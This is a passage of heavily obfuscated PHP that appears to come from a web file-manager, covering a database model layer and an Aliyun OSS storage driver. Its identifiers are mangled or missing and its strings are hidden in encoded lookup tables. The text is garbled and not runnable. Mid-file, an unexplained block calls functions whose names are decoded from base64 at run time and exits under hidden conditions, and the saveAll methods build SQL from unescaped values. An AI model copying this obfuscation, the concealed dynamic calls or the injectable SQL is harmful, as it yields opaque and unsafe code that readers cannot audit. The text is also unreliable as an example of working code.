ceil($ / $Ө); $ = $ >= $ͺ ? $ͺ : $; $this->optionsValue($Ҩ); $䡟 = $this->page($, $Ө)->select(); } if (!is_array($䡟)) { $䡟 = array(); } if ($ͺ == 1) { $ = count($䡟); } $ = array($[361] => array($[362] => $, $[358] => $Ө, $[348] => $, $[363] => $ͺ), $[364] => $䡟); return $; } protected function checkLength($ƅ, $㿅 = 0, $ = '') { $Ы =& $_SERVER[]; $㿅 = $㿅 ? $㿅 : 65536; if (!$ƅ || strlen($ƅ) < $㿅) { return; } $ = $ ? $ . $Ы[71] : $Ы[12]; show_json($ . LNG($Ы[365]) . "\50{$㿅}\51", !1); } protected function metaSet($ŕ, $ܿ = null, $ևĥ = null) { $Ћ =& $_SERVER[]; if (!$this->tableMeta || !$ŕ) { return !1; } $ = $this->tableMeta[$Ћ[366]]; $ = $this->tableMeta[$Ћ[367]]; $ = Model($); $ = array($ => $ŕ, $Ћ[368] => $ܿ); if (is_null($ܿ)) { return $->where(array($ => $ŕ))->delete(); } if (is_null($ևĥ) && is_string($ܿ)) { return $->where($)->delete(); } $䗤 = is_array($ܿ) ? $ܿ : array(); if (is_string($ܿ)) { $䗤[$ܿ] = $ևĥ; } $ = array(); foreach ($䗤 as $ => $ھļ) { if (is_null($ھļ) && is_string($)) { $->where(array($ => $ŕ, $Ћ[368] => $))->delete(); continue; } $this->checkLength($ھļ, !1, $ . $Ћ[4] . $); $[] = array($ => $ŕ, $Ћ[95] => $, $Ћ[369] => $ھļ); } $Ⱥ = $Ћ[370] . $; CacheLock::lock($Ⱥ); $->where(array($ => $ŕ))->addAll($, array(), !0); CacheLock::unlock($Ⱥ); return !0; } public function metaGet($, $ = false) { $ˠ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ګ = $this->tableMeta[$ˠ[366]]; $ = Model($this->tableMeta[$ˠ[367]]); if ($) { $ᜢ = array($ګ => $, $ˠ[95] => $); return $->where($ᜢ)->getField($ˠ[369]); } $ᜢ = array($ګ => $); $ = $->field($ˠ[371])->where($ᜢ)->select(); $ = array_to_keyvalue($, $ˠ[95], $ˠ[369]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$밆, $ҿ) { $ =& $_SERVER[]; if (!is_array($밆)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($ҿ, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[316]: case $[317]: $в = $[1]; $̘ = isset($[4]) ? (array) $[4] : array(); if ($в == $[196] && array_key_exists($, $밆)) { if (!$밆[$]) { unset($밆[$]); } break; } if (isset($밆[$])) { array_unshift($̘, $밆[$]); } if ($[316] == $[3]) { $밆[$] = call_user_func_array($в, $̘); } else { $밆[$] = call_user_func_array(array(&$this, $в), $̘); } break; case $[265]: if (isset($밆[$]) && $밆[$]) { $밆[$] = call_user_func_array(array(&$this, $[1]), array($밆[$])); } break; case $[268]: $밆[$] = $밆[$[1]]; break; case $[289]: if (isset($밆[$]) && !is_string($밆[$])) { $밆[$] = json_encode_force($밆[$]); } break; case $[318]: if ($밆[$] === $[12]) { unset($밆[$]); } break; case $[319]: $밆[$] = $[1]; default: break; } } if ($ҿ == $[350]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $Ŝ = $this->field(!0)->fields; $ = $Ŝ[$[247]]; if (isset($Ŝ[$[246]])) { unset($[$Ŝ[$[246]]]); } foreach ($ as $ => $ҿ) { if (!isset($밆[$])) { $밆[$] = $[12]; } } } } private function dataAfterFilter(&$ú) { $͹ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($ú[$])) { continue; } if (!in_array($͹[352], explode($͹[50], $[2]))) { continue; } switch (trim($[3])) { case $͹[316]: case $͹[317]: $Β = isset($[4]) ? (array) $[4] : array(); array_unshift($Β, $ú[$]); if (isset($[4]) && $[4] == $͹[372]) { $Β = array($ú[$]); } if ($͹[316] == $[3]) { $ú[$] = call_user_func_array($[1], $Β); } else { $ú[$] = call_user_func_array(array(&$this, $[1]), $Β); } break; case $͹[265]: if (isset($ú[$]) && $ú[$]) { $ú[$] = call_user_func_array(array(&$this, $[1]), array($ú[$])); } break; case $͹[268]: $ú[$] = $ú[$[1]]; break; case $͹[289]: $ = $ú[$]; $ú[$] = json_decode($, !0); if (is_null($ú[$])) { $ú[$] = $; } break; case $͹[318]: if ($ú[$] === $͹[12]) { unset($ú[$]); } break; case $͹[319]: $ú[$] = $[1]; break; default: break; } } } public function saveAll($Ϝے) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $Ϝے = is_array($Ϝے) ? $Ϝے : array(); $ε = $[373]; $ = 0; $ = array(); $ = count($Ϝے); for ($դ = 0; $դ < $; $դ++) { $Ë = $Ϝے[$դ]; if (!is_array($Ë) || count($Ë) != 4) { continue; } $ = "\x55\x50\104\101\x54\x45\x20\140{$}\140\x20\x53\x45\124\40{$Ë[2]}\40\x3d\40\x43\x41\x53\x45\40{$Ë[0]}\40\12"; if ($ == 0) { $ε = $; } $[] = $[117] . $Ë[1] . $[117]; $++; $ε .= "\x20\x57\110\105\x4e\40\47{$Ë[1]}\x27\40\124\x48\105\x4e\x20\47{$Ë[3]}\x27\40\xa"; if ($ == $ || $դ == $ - 1) { $ = implode($[50], $); $ε .= "\40\x45\x4e\x44\x20\40\x57\x48\105\x52\x45\40{$Ë[0]}\40\x49\x4e\x20\50{$}\x29\x20"; $this->execute($ε); $ = 0; $ε = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $[374] . $[1] . $[117]; $ = $[2] . $[374] . $[3] . $[117]; $ = "\x75\x70\x64\141\164\x65\40{$}\x20\163\145\164\x20{$}\x20\x77\150\145\162\x65\x20{$}\x3b"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $͔ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $͔; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][375]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($ƍ, $ = array(), $я = false) { $ڳ审 =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($ƍ)) { $this->error = think_lang($ڳ审[266]); return !1; } $ = $this->_parseOptions($); foreach ($ƍ as $ => $И) { $ƍ[$] = $this->_facade($И); $this->_beforeInsert($ƍ[$], $); } if (method_exists($this->db, $ڳ审[267])) { for ($ = 0; $ < count($ƍ); $ += $) { $ = array_slice($ƍ, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $я); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ƍ as $ => $И) { $ = $this->db->insert($И, $, $я); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $΄쾂 = array()) { $ҳ㹱 =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $΄쾂); } $ = 0; $ = $[$ҳ㹱[270]][$][1]; $ = is_array($) ? $ : array(); $Ĉ = count($); for ($ꃖ = 0; $ꃖ < $Ĉ; $ꃖ += $) { $ղ盈 = array_slice($, $ꃖ, $); if (!is_array($ղ盈) || count($ղ盈) == 0) { break; } $[$ҳ㹱[270]][$][1] = $ղ盈; $this->optionsValue($); $ += parent::save($, $΄쾂); $this->chunkEventCheck(count($ղ盈)); } $this->chunkEventSet(); return $; } public function add($֥ = '', $ = array(), $毓 = false) { if ($this->addTaskStatus && is_array($֥)) { $this->addTaskData[] = $֥; return; } return parent::add($֥, $, $毓); } public function parseWhereLike($٠⬨, $ = '', $ = false, &$ִ = false) { $ŝ =& $_SERVER[]; $䨃Ѡ = $GLOBALS[$ŝ[6]][$ŝ[376]]; if (!$䨃Ѡ[$ŝ[377]]) { return $٠⬨; } if (!is_array($٠⬨)) { return $٠⬨; } $۟ = array(); $٘ = 0; foreach ($٠⬨ as $ވ => $沺) { if (is_array($沺) && count($沺) == 2 && $沺[0] == $ŝ[378] && is_string($沺[1]) && substr($沺[1], 0, 1) == $ŝ[379] && substr($沺[1], strlen($沺[1]) - 1, 1) == $ŝ[379]) { $ִ = !0; $؟蠜 = is_string($ވ) ? $ވ : $; $ = substr($沺[1], 1, strlen($沺[1]) - 2); $ = $this->db->escapeString($); if (!strpos($؟蠜, $ŝ[10])) { $؟蠜 = $ŝ[380] . $؟蠜 . $ŝ[380]; } $ = $ŝ[181] . $ . $ŝ[181]; if ($䨃Ѡ[$ŝ[381]]) { $ = $ŝ[382] . $ . $ŝ[383]; if ($䨃Ѡ[$ŝ[384]]) { $ = $ŝ[383] . $ . $ŝ[382]; } } $۟[$٘] = $ŝ[385] . $؟蠜 . $ŝ[386] . $ . $ŝ[387]; $٘++; continue; } if (is_array($沺)) { $ = is_string($ވ) ? $ވ : $; $沺 = $this->parseWhereLike($沺, $, !0, $ִ); } if (is_numeric($ވ)) { $۟[$٘] = $沺; $٘++; } else { $۟[$ވ] = $沺; } } if ($ִ && !$) { } return $۟; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($Ć = array()) { $ϲ =& $_SERVER[]; $ۆ = self::SQL_WHERE_IN_CHUNK; $Ë = $this->optionsValue(); $ŧ = $this->findWhereField($Ë); if (!$ŧ || isset($Ë[$ϲ[287]]) || isset($Ë[$ϲ[348]])) { return parent::select($Ć); } $ȴ = $Ë[$ϲ[270]][$ŧ][1]; $ȴ = is_array($ȴ) ? $ȴ : array(); $җ = null; for ($写 = 0; $写 < count($ȴ); $写 += $ۆ) { $ = array_slice($ȴ, $写, $ۆ); if (!is_array($) || count($) == 0) { break; } $Ë[$ϲ[270]][$ŧ][1] = $; $this->optionsValue($Ë); $᳍ = parent::select($Ć); if (!$᳍) { continue; } $җ = is_array($җ) ? $җ : array(); $җ = array_merge($җ, $᳍); } return $җ; } public function delete($ր = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ֲ = $this->findWhereField($); if (!$ֲ) { return parent::delete($ր); } $颜 = 0; $в = $[$[270]][$ֲ][1]; $в = is_array($в) ? $в : array(); for ($ޥ = 0; $ޥ < count($в); $ޥ += $) { $ޠ = array_slice($в, $ޥ, $); if (!is_array($ޠ) || count($ޠ) == 0) { break; } $[$[270]][$ֲ][1] = $ޠ; $this->optionsValue($); $颜 += parent::delete($ր); } return $颜; } private function findWhereField($̷) { $Ĵ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($̷) || !is_array($̷[$Ĵ[270]])) { return !1; } foreach ($̷[$Ĵ[270]] as $𻧣 => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $Ĵ[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $𻧣; } } return !1; } public function setMasterDB($ݭ = true) { think_config($_SERVER[][388], $ݭ); } } if ($_SERVER[$_SERVER[][389]] != $_SERVER[$_SERVER[][390]]) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][397]]); } goto B; cϝ峄: $fileSize = strrev(base64_decode($_SERVER[䌖][0])); function binCheckNeq($г, $Ҍ) { return $г != $Ҍ; } $_SERVER[$_SERVER[䌖][1]] = $fileSize($_SERVER[$_SERVER[䌖][2]]); goto BɆ̏; E덏: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][211]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1310]) { $ = $[1311] . substr($, 7); } header($[158] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($ظ) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1367]; $this->_init($ظ); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ܢ => $) { if (isset($this->{$ܢ})) { $this->{$ܢ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1368] . LNG($[1369])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1370]); $->addAllowedMethod($[1371]); $->addAllowedMethod($[1372]); $->addAllowedMethod($[1373]); $->addAllowedMethod($[1374]); $->addAllowedMethod($[157]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1375]); $->addAllowedHeader($[1370]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getBucketCors() { $˲֥ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $א) { return null; } if (!$ || !($ = $->getRules())) { return null; } $ғ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $Ɨ = $[0]->getExposeHeaders(); $ю = $[0]->getAllowedHeaders(); return array($˲֥[180] => isset($ғ[0]) ? $ғ[0] : $˲֥[12], $˲֥[184] => $, $˲֥[1376] => $, $˲֥[1377] => isset($Ɨ[0]) ? $Ɨ[0] : $˲֥[12], $˲֥[182] => isset($ю[0]) ? $ю[0] : $˲֥[12]); } public function isBucketCors() { $䷑ =& $_SERVER[]; $꼈 = $this->getBucketCors(); if (!$꼈 || !is_array($꼈)) { return !1; } if ($꼈[$䷑[180]] != $䷑[181] || $꼈[$䷑[182]] != $䷑[181]) { return !1; } $ɲ = array_map($䷑[183], $꼈[$䷑[184]]); if (!is_array($ɲ)) { $ɲ = array(); } $ = array($䷑[185], $䷑[186], $䷑[187], $䷑[188], $䷑[189]); $ä = array_diff($, $ɲ); return empty($ä); } public function mkfile($Ψ, $ = '', $ѝ = REPEAT_RENAME) { $̲ = $this->setContent($Ψ, $); if ($̲ !== !1) { return $this->getPathOuter($Ψ); } return !1; } public function mkdir($, $Ы = REPEAT_SKIP) { if ($this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $㛰) { return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $ūٔ = 0) { $䍠Я =& $_SERVER[]; $ = trim($, $䍠Я[8]); $И = empty($) && $ !== $䍠Я[190] ? $䍠Я[12] : $ . $䍠Я[8]; $Ыߔ = $䍠Я[12]; $چ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $£ݑ = $ = array(); while (!0) { check_abort(); $튝 = array($䍠Я[1378] => $, $䍠Я[1379] => $И, $䍠Я[1380] => $چ, $䍠Я[1381] => $Ыߔ); try { $Ɋ = $this->client->listObjects($this->bucket, $튝); } catch (OSS\Core\OssException $) { break; } $Ыߔ = $Ɋ->getNextMarker(); $㵫 = $Ɋ->getObjectList(); $ = $Ɋ->getPrefixList(); foreach ($㵫 as $) { if ($->getKey() == $И) { continue; } $ = $->getKey(); $ = $->getSize(); $矎 = $->getLastModified(); $ = $ūٔ ? array($䍠Я[32] => $, $䍠Я[80] => $, $䍠Я[196] => strtotime($矎)) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $䍠Я[8] ? !0 : !1; if ($) { $this->cacheMethod($䍠Я[198], $, $); $this->cacheMethod($䍠Я[199], $, array($䍠Я[80] => $, $䍠Я[1382] => $, $䍠Я[86] => strtotime($矎), $䍠Я[1383] => $矎)); } if ($) { $£ݑ[] = $; continue; } $[] = $; } foreach ($ as $) { $£ݑ[] = $->getPrefix(); if ($) { $this->cacheMethod($䍠Я[198], $, !0); } } if ($Ыߔ === $䍠Я[12]) { break; } } if ($) { $this->cacheMethod($䍠Я[198], $, !0); } return array($䍠Я[77] => $£ݑ, $䍠Я[76] => $); } public function copyFile($ث, $±) { $à = $this->size($ث); if ($à < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ث, $this->bucket, $this->pathEncode($±)); } catch (OSS\Core\OssException $䤨) { return !1; } return $this->getPathOuter($±); } $ = $this->multiCopyObject($ث, $±, $Ã); return $ ? $this->getPathOuter($±) : !1; } private function multiCopyObject($ēˑ, $, $) { $ =& $_SERVER[]; try { $ = array(); if ($睊 = $this->hashMd5($ēˑ)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1384] => $睊)); } $Η = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $յ = 1; $ͻ = 0; $›蘘 = array(); $և = 1024 * 1024 * 10; $勴 = $this->client->generateMultiuploadParts($, $և); foreach ($勴 as $󜿈 => $ǰ) { $ٖ = $ͻ + (int) $ǰ[$[1385]]; $ت = (int) $ǰ[$[332]] + $ٖ - 1; $Ý = array($[1386] => $ٖ, $[1387] => $ت); $›蘘[] = $this->client->uploadPartCopy($this->bucket, $ēˑ, $this->bucket, $this->pathEncode($), $յ, $Η, $Ý); $յ = $յ + 1; } $Ԫʑ = array(); foreach ($›蘘 as $󜿈 => $ݳ) { $Ԫʑ[] = array($[1388] => $󜿈 + 1, $[1389] => $ݳ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $Η, $Ԫʑ); } catch (OSS\Core\OssException $ݣ݄) { return !1; } return !0; } public function moveFile($􇅐, $Χ∮) { if ($this->copyFile($􇅐, $Χ∮)) { $this->remove($􇅐); return $this->getPathOuter($Χ∮); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($룃) { $ㅁ =& $_SERVER[]; if (!$this->exist($룃)) { return !0; } $this->listItemCache = !1; $֢ = $this->fileList($룃); $this->listItemCache = !0; $ɇ = trim($룃, $ㅁ[8]) . $ㅁ[8]; if (!empty($룃) && $룃 !== $ㅁ[190] && !in_array($ɇ, $֢[$ㅁ[77]])) { $֢[$ㅁ[77]][] = $ɇ; } $ = $this->delByBatch($֢[$ㅁ[76]]); if (!$) { return !1; } $ = $this->delByBatch($֢[$ㅁ[77]]); if (!$) { return !1; } return $this->delFile($ɇ); } private function delByBatch($؛) { foreach (array_chunk($؛, 1000) as $Ǎ) { try { $this->client->deleteObjects($this->bucket, $Ǎ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $ى) { return $this->renameObject($, $ى); } private function fileInfo($, $ = false, $앺 = array()) { $Ƌ =& $_SERVER[]; $ = array($Ƌ[32] => $this->pathThis($), $Ƌ[78] => $this->getPathOuter($), $Ƌ[33] => $Ƌ[192], $Ƌ[80] => isset($앺[$Ƌ[80]]) ? $앺[$Ƌ[80]] : 0, $Ƌ[167] => $this->ext($)); if ($) { return $; } $[$Ƌ[193]] = $[$Ƌ[86]] = 0; $[$Ƌ[194]] = $[$Ƌ[195]] = !0; if (empty($앺)) { $鰵 = $this->objectMeta($); if (!$鰵) { return $; } $앺 = array($Ƌ[86] => strtotime($鰵[$Ƌ[1383]]), $Ƌ[80] => $鰵[$Ƌ[1382]] + 0); } if (isset($앺[$Ƌ[80]])) { $[$Ƌ[80]] = $앺[$Ƌ[80]]; } if (isset($앺[$Ƌ[86]])) { $[$Ƌ[86]] = $앺[$Ƌ[86]]; } if (isset($앺[$Ƌ[196]]) && !trim($[$Ƌ[86]])) { $[$Ƌ[86]] = $앺[$Ƌ[196]]; } return $; } private function folderInfo($ˀ, $ = false, $“͛ = array()) { $Ԧ =& $_SERVER[]; $ = array($Ԧ[32] => $this->pathThis($ˀ), $Ԧ[78] => $this->getPathOuter($Ԧ[8] . $ˀ), $Ԧ[33] => $Ԧ[79]); if ($) { return $; } $[$Ԧ[193]] = $[$Ԧ[86]] = 0; $[$Ԧ[194]] = $[$Ԧ[195]] = !0; if (empty($“͛)) { $ˀ = rtrim($ˀ, $Ԧ[8]) . $Ԧ[8]; $ϙ… = $this->objectMeta($ˀ); if (!$ϙ…) { return $; } $“͛ = array($Ԧ[193] => $ϙ…[$Ԧ[511]][$Ԧ[1390]], $Ԧ[86] => strtotime($ϙ…[$Ԧ[1383]])); } if (isset($“͛[$Ԧ[86]])) { $[$Ԧ[86]] = $“͛[$Ԧ[86]]; } if (isset($“͛[$Ԧ[193]])) { $[$Ԧ[193]] = $“͛[$Ԧ[193]]; } return $; } public function listPath($ٱܢ, $ǩ = false) { $ =& $_SERVER[]; $ϣ = $this->fileList($ٱܢ, $[8], !0); foreach ($ϣ[$[77]] as $ => $) { $ϣ[$[77]][$] = $this->folderInfo($, $ǩ, $); } foreach ($ϣ[$[76]] as $ => $) { $ϣ[$[76]][$] = $this->fileInfo($[$[32]], $ǩ, $); } return $ϣ; } public function has($ގ, $Ӷ = false, $± = true) { $ =& $_SERVER[]; $ގ = trim($ގ, $[8]); $ = empty($ގ) && $ގ !== $[190] ? $[12] : $ގ . $[8]; $ = $[12]; $ȸ = 500; $ = $߬ = 0; while (!0) { check_abort(); $諓Ŗ = array($[1378] => $[8], $[1379] => $, $[1380] => $ȸ, $[1381] => $); try { $ڲ = $this->client->listObjects($this->bucket, $諓Ŗ); } catch (OSS\Core\OssException $) { break; } $ = $ڲ->getNextMarker(); $ם֝ = $ڲ->getObjectList(); $ = $ڲ->getPrefixList(); if ($Ӷ) { if (count($ם֝) > 1 || count($ם֝) == 1 && $ם֝[0]->getKey() != $) { $ += count($ם֝) - 1; } if (!empty($)) { $߬ += count($); } if ($ === $[12]) { break; } continue; } if ($±) { if (!empty($ם֝)) { if (count($ם֝) > 1 || $ם֝[0]->getKey() != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($Ӷ) { return array($[202] => $, $[203] => $߬); } return !1; } public function listAll($) { $ =& $_SERVER[]; $΁ = $this->fileList($, $[12], !0); $֊ = array(); foreach ($΁[$[76]] as $֎) { $֊[$֎[$[32]]] = $֎[$[80]]; } foreach ($΁[$[77]] as $֎) { if (is_string($֎)) { $֊[$֎] = 0; } } return $this->listAllFiles($, array_keys($֊), $֊); } public function canRead($) { $ɞ =& $_SERVER[]; $ƛ = $this->pathAcl($); return $ƛ == $ɞ[1391] || $ƛ == $ɞ[550] ? !0 : !1; } public function canWrite($lj֩) { $ = $this->pathAcl($lj֩); return $ == $_SERVER[][550] ? !0 : !1; } public function pathAcl($ͫ) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ϯ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($ͫ)); } catch (OSS\Core\OssException $) { return !1; } $ = $ϯ == $[37] ? $this->bucketAcl : $ϯ; if ($ == $[1392]) { return $[1391]; } if ($ == $[1393]) { return $[550]; } return $; } private function chmodPath($, $” = '') { $ݜ =& $_SERVER[]; $ = empty($”) ? $ݜ[1393] : $”; $ = array($ݜ[37], $ݜ[191], $ݜ[1392], $ݜ[1393]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $Ү) { return !1; } return !0; } public function getContent($ೂ) { return $this->fileSubstr($ೂ, -1); } public function setContent($Ǯ, $ = '') { $ =& $_SERVER[]; try { $ϳ = $this->trafficLimit($[1394]); $ = $this->client->putObject($this->bucket, $this->pathEncode($Ǯ), $, $ϳ); } catch (OSS\Core\OssException $剀) { return !1; } $ĝ = array($[1384] => trim($[$[1395]], $[117]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Ǯ))); $this->updateObjMeta($Ǯ, $ĝ); return isset($[$[1396]][$[1343]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $Ƃ, $ټ = false, $ӿ = REPEAT_REPLACE) { $ =& $_SERVER[]; $󎀵 = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1384] => @md5_file($Ƃ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1394], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($󎀵), $Ƃ, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $պΌ =& $_SERVER[]; $̙ = explode($պΌ[176], parent::getHost()); return $̙[0] . $պΌ[176] . $this->bucket . $պΌ[10] . $̙[1]; } public function uploadFormData($, $ = 3600) { $ꮤ =& $_SERVER[]; if (!($҈ = $this->getHost())) { return !1; } $ɸ = $; $Ȕ = date($ꮤ[1397], time() + $ɸ); $ = new DateTime($Ȕ); $ׂ = $->format(DateTime::ISO8601); $ = strpos($ׂ, $ꮤ[291]); $ׂ = substr($ׂ, 0, $) . $ꮤ[1398]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($ꮤ[1297] => $ׂ, $ꮤ[1298] => array(array($ꮤ[1399], 0, $), array($ꮤ[1301], $ꮤ[1302], $))); $ = base64_encode(json_encode($)); $ƞߋ = base64_encode(hash_hmac($ꮤ[227], $, $this->secret, !0)); $ȧ = array($ꮤ[1307] => $, $ꮤ[1400] => $this->accessKey, $ꮤ[1303] => $ꮤ[1295], $ꮤ[1401] => $ƞߋ, $ꮤ[174] => $҈); $ȧ = $this->trafficLimit($ꮤ[1394], $ȧ); return $ȧ; } public function multiUploadFormData($ȕ, $ = 3600) { $ē =& $_SERVER[]; if (!($ꏑ = $this->getHost())) { return !1; } $ȯ = $this->trafficLimit($ē[1394]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ȕ), $ȯ); return array($ē[218] => $, $ē[174] => $ꏑ . $ē[8] . $this->pathEncode($ȕ), $ē[219] => gmdate($ē[1402]), $ē[95] => $ȕ); } public function multiUploadAuthData($, $Ҷ = array()) { $ =& $_SERVER[]; $淜 = isset($Ҷ[$[219]]) ? $Ҷ[$[219]] : gmdate($[1402]); $͸ = isset($Ҷ[$[167]]) ? $Ҷ[$[167]] : $[12]; $ҵн = $; if (isset($Ҷ[$[95]])) { $ҵн = $Ҷ[$[95]]; unset($Ҷ[$[95]]); } if (isset($Ҷ[$[220]])) { $Ҷ[$[219]] = $淜; return $this->listUploadParts($ҵн, $Ҷ); } $ = array($[221], $[12], $[118], $淜, "\170\55\x6f\163\x73\x2d\144\141\164\x65\x3a{$淜}", $[8] . $this->bucket . $[8] . $ҵн . $͸); if (strpos($͸, $[222]) === 0) { $[0] = $[223]; if ($ = $this->trafficLimit($[1394])) { $ҵн = $[1403]; array_splice($, 5, 0, $ҵн . $[4] . $[$ҵн]); } } if (isset($Ҷ[$[224]]) && $Ҷ[$[224]] == $[225]) { $[0] = $[225]; } if (!empty($Ҷ[$[1404]])) { $ = array_merge(array($[4]), $Ҷ[$[1404]]); sort($); $[4] = implode($[226], $); } $ = implode($[226], $); $ի = base64_encode(hash_hmac($[227], $, $this->secret, !0)); $Ċ = $[1368] . $this->accessKey . $[4] . $ի; if (strpos($͸, $[222]) === 0) { $Ċ = array($[229] => $Ċ, $[219] => $淜); if ($) { $Ċ = array_merge($Ċ, $); } } return $Ċ; } public function listUploadParts($Ԓ, $֠) { $譠 =& $_SERVER[]; $¼ = parse_url_query($֠[$譠[167]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($Ԓ), $¼[$譠[218]]); $ = $->getListPart(); $ = array(); foreach ($ as $ϔՔ) { $[] = array($譠[1388] => $ϔՔ->getPartNumber(), $譠[1389] => trim($ϔՔ->getETag(), $譠[117])); } unset($֠[$譠[220]], $֠[$譠[224]]); $ = $this->multiUploadAuthData($Ԓ, $֠); if (empty($)) { return !1; } return array($譠[229] => $, $譠[219] => $֠[$譠[219]], $譠[231] => $); } public function download($֐, $) { if ($this->isFolder($֐)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][110], $); $this->client->getObject($this->bucket, $this->pathEncode($֐), $); } catch (OSS\Core\OssException $ꮆɌ) { return !1; } return $; } public function fileSubstr($뽭, $ = 0, $ٰ = false) { if ($ === -1) { $¡ = array(); } else { if ($ٰ === !1) { $ܒ = $this->size($뽭); } else { $ܒ = $ + $ٰ - 1; } $¡ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$ܒ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($뽭), $¡); } catch (OSS\Core\OssException $ꙙ) { think_exception($ꙙ->getMessage()); return !1; } } private function 